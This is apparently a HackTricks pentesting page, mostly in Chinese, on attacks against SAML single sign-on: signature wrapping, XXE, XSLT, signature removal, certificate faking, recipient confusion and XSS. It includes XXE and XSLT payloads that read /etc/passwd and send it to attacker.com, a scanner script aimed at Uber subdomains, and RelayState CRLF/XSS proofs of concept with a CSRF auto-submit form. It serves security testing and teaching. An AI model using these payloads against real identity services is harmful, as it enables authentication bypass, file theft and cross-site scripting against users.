SAML 攻击
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
工具
SAMLExtractor: 一个可以接收单个 URL 或 URL 列表并返回 SAML consume URL 的工具。
XML 往返
在 XML 中,XML 的被签名部分会被保存在内存中,然后执行一些编码/解码操作并验证签名。理想情况下这些编码/解码不应改变数据,但在这种场景下,被验证的数据与原始数据可能并不相同。
例如,检查下面的代码:
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
针对 REXML 3.2.4 或更早版本运行该程序时,会得到如下输出:
First child in original doc: Y
First child after round-trip: Z
This is how REXML saw the original XML document from the program above:
.png)
And this is how it saw it after a round of parsing and serialization:
.png)
For more information about the vulnerability and how to abuse it:
- https://mattermost.com/blog/securing-xml-implementations-across-the-web/
- https://joonas.fi/2021/08/saml-is-insecure-by-design/
XML Signature Wrapping Attacks
在 XML Signature Wrapping attacks (XSW) 中,攻击者利用当 XML 文档经过两个不同阶段处理时出现的漏洞:signature validation 和 function invocation。这些攻击涉及修改 XML 文档结构。具体来说,攻击者会注入伪造的元素,而不破坏 XML Signature 的有效性。这种操作旨在制造一个差异,使得被 application logic 分析的元素与被 signature verification module 检查的元素不一致。结果是,尽管 XML Signature 在技术上仍然有效并通过了验证,应用逻辑却处理了这些欺骗性元素。因此,攻击者可以有效绕过 XML Signature 的完整性保护和来源认证,在未被发现的情况下注入任意内容。
The following attacks ara based on this blog post and this paper. So check those for further details.
XSW #1
- 策略: 添加了包含签名的新根元素。
- 影响: 验证器可能在合法的 “Response -> Assertion -> Subject” 与攻击者的 “evil new Response -> Assertion -> Subject” 之间混淆,导致数据完整性问题。
.png)
XSW #2
- 与 XSW #1 的不同点: 使用了 detached signature 而不是 enveloping signature。
- 影响: 与 XSW #1 类似的 “evil” 结构旨在在完整性检查后欺骗业务逻辑。
.png)
XSW #3
- 策略: 在与原始 assertion 相同的层级创建一个恶意 Assertion。
- 影响: 旨在混淆业务逻辑,导致其使用恶意数据。
.png)
XSW #4
- 与 XSW #3 的不同点: 原始 Assertion 成为重复(恶意)Assertion 的子元素。
- 影响: 与 XSW #3 类似,但更激进地改变了 XML 结构。
.png)
XSW #5
- 独特方面: 签名和原始 Assertion 都不遵循标准配置(enveloped/enveloping/detached)。
- 影响: 复制的 Assertion 包含签名,修改了预期的文档结构。
.png)
XSW #6
- 策略: 与 XSW #4 和 #5 相似的位置插入,但带有变体。
- 影响: 复制的 Assertion 包含签名,随后签名又包含原始 Assertion,形成嵌套的欺骗结构。
.png)
XSW #7
- 策略: 插入一个 Extensions 元素,复制的 Assertion 作为其子元素。
- 影响: 利用 Extensions 元素较宽松的 schema 来绕过模式验证的对策,特别是在像 OpenSAML 这样的库中。
.png)
XSW #8
- 与 XSW #7 的不同点: 利用另一个较宽松的 XML 元素来变体攻击。
- 影响: 原始 Assertion 成为较宽松元素的子元素,逆转了 XSW #7 中使用的结构。
.png)
工具
You can use the Burp extension SAML Raider to parse the request, apply any XSW attack you choose, and launch it.
XXE
If you don’t know which kind of attacks are XXE, please read the following page:
XXE - XEE - XML External Entity
SAML Responses are deflated and base64 encoded XML documents and can be susceptible to XML External Entity (XXE) attacks. By manipulating the XML structure of the SAML Response, attackers can attempt to exploit XXE vulnerabilities. Here’s how such an attack can be visualized:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
工具
你也可以使用 Burp 扩展 SAML Raider 从 SAML 请求生成 POC,以测试可能的 XXE 漏洞和 SAML 漏洞。
还可以查看这个演讲: https://www.youtube.com/watch?v=WHn-6xHL7mI
XSLT 通过 SAML
有关 XSLT 的更多信息请参见:
XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
Extensible Stylesheet Language Transformations (XSLT) 可以用于将 XML 文档转换为 HTML、JSON 或 PDF 等格式。重要的是要注意 XSLT 转换是在数字签名验证之前执行的。这意味着即使没有有效签名,攻击也可能成功;自签名或无效签名也足以继续。
在这里你可以找到一个 POC 来检测此类漏洞;在本节开头提到的 hacktricks 页面上可以找到 payloads。
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
Tool
You can also use the Burp extension SAML Raider to generate the POC from a SAML request to test for possible XSLT vulnerabilities.
Check also this talk: https://www.youtube.com/watch?v=WHn-6xHL7mI
XML Signature Exclusion
The XML Signature Exclusion 观察 SAML 实现当 Signature 元素不存在时的行为。如果该元素缺失,签名验证可能不会发生,从而导致易受攻击。可以通过修改通常由签名验证的内容来测试这一点。
.png)
Tool
You can also use the Burp extension SAML Raider. 拦截 SAML Response 并点击 Remove Signatures。这样会移除所有 Signature 元素。
在签名被移除后,允许请求继续发送到目标。如果服务不要求 Signature
Certificate Faking
Certificate Faking
Certificate Faking 是一种用来测试 Service Provider (SP) 是否正确验证 SAML Message 是否由受信任的 Identity Provider (IdP) 签名的技术。它涉及使用自签名证书(self-signed certificate)对 SAML Response 或 Assertion 进行签名,从而评估 SP 与 IdP 之间的信任验证过程。
How to Conduct Certificate Faking
以下步骤概述了使用 SAML Raider Burp 扩展的流程:
- 拦截 SAML Response。
- 如果响应包含签名,使用
Send Certificate to SAML Raider Certs按钮将证书发送到 SAML Raider Certs。 - 在 SAML Raider Certificates 选项卡中,选择导入的证书并点击
Save and Self-Sign来创建原始证书的自签名克隆。 - 返回到 Burp Proxy 中被拦截的请求。从 XML Signature 下拉菜单中选择新的自签名证书。
- 使用
Remove Signatures按钮移除任何现有签名。 - 使用适当的按钮(
(Re-)Sign Message或(Re-)Sign Assertion)用新证书对消息或断言进行签名。 - 转发签名后的消息。如果认证成功,则表明 SP 接受由你的自签名证书签名的消息,揭示了 SAML 消息验证过程中的潜在漏洞。
Token Recipient Confusion / Service Provider Target Confusion
Token Recipient Confusion 和 Service Provider Target Confusion 涉及检查 Service Provider 是否正确验证响应的预期接收方。原则上,如果认证响应是针对不同的提供者,则 Service Provider 应该拒绝。关键字段是 SAML Response 中的 SubjectConfirmationData 元素内的 Recipient 字段。该字段指定了一个 URL,表明 Assertion 必须发送到哪里。如果实际接收方与预期的 Service Provider 不匹配,则该 Assertion 应被视为无效。
How It Works
要使 SAML Token Recipient Confusion (SAML-TRC) 攻击可行,需要满足某些条件。首先,必须在一个 Service Provider(称为 SP-Legit)上有一个有效账户。其次,目标 Service Provider(SP-Target)必须接受来自为 SP-Legit 提供服务的同一 Identity Provider 的令牌。
在满足这些条件下,攻击过程很简单。通过共享的 Identity Provider 在 SP-Legit 上发起一个真实会话。拦截 Identity Provider 发往 SP-Legit 的 SAML Response。然后将该被拦截的 SAML Response(原本针对 SP-Legit)重定向到 SP-Target。如果 SP-Target 接受该 Assertion,则攻击成功,攻击者将获得以用于 SP-Legit 的相同账户名访问 SP-Target 资源的权限。
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
Logout 功能中的 XSS
原始研究可通过 this link 获取。
在进行 directory brute forcing 的过程中,发现了一个 logout 页面,位于:
https://carbon-prototype.uberinternal.com:443/oidauth/logout
访问此链接后,发生重定向至:
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
这揭示了 base 参数接受一个 URL。基于此,产生了一个想法:用 javascript:alert(123); 替换该 URL,以尝试触发 XSS (Cross-Site Scripting) 攻击。
大规模利用
使用了 SAMLExtractor 工具来分析 uberinternal.com 的子域,以查找使用相同库的域。随后,开发了一个脚本,针对 oidauth/prompt 页面进行扫描。该脚本通过输入数据并检查输出中是否被反射来测试 XSS (Cross-Site Scripting)。如果输入确实被反射,脚本会将该页面标记为易受攻击。
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
基于 RelayState 的 header/body 注入导致 rXSS
一些 SAML SSO 端点会解码 RelayState,然后在未做消毒的情况下将其反射到响应中。如果你能注入换行并覆盖响应的 Content-Type,就可以强制浏览器渲染攻击者控制的 HTML,从而实现 reflected XSS(rXSS)。
- Idea: abuse response-splitting via newline injection in the reflected RelayState. See also the generic notes in CRLF injection.
- Works even when RelayState is base64-decoded server-side: supply a base64 that decodes to header/body injection.
Generalized steps:
- 构造以换行开头的 header/body 注入序列,覆盖
Content-Type为 HTML,然后注入 HTML/JS payload:
Concept:
\n
Content-Type: text/html
<svg/onload=alert(1)>
- 对该序列进行 URL-编码(示例):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
- 对该 URL-编码字符串进行 base64 编码,并将其放入
RelayState。
Example base64 (from the sequence above):
DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
- 向 SSO 端点(例如
/cgi/logout)发送包含语法上有效的SAMLResponse和伪造RelayState的 POST 请求。 - 通过 CSRF 传播:托管一个页面,自动提交包含这两个字段的跨域 POST 到目标域。
PoC against a NetScaler SSO endpoint (/cgi/logout):
POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
CSRF 传递模式:
<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>
为什么它能起作用:服务器解码 RelayState 并以允许 newline injection 的方式将其合并到响应中,从而允许攻击者影响 headers 和 body。强制 Content-Type: text/html 会导致浏览器将响应体中的攻击者控制的 HTML 渲染出来。
References
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
- https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/
- Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks

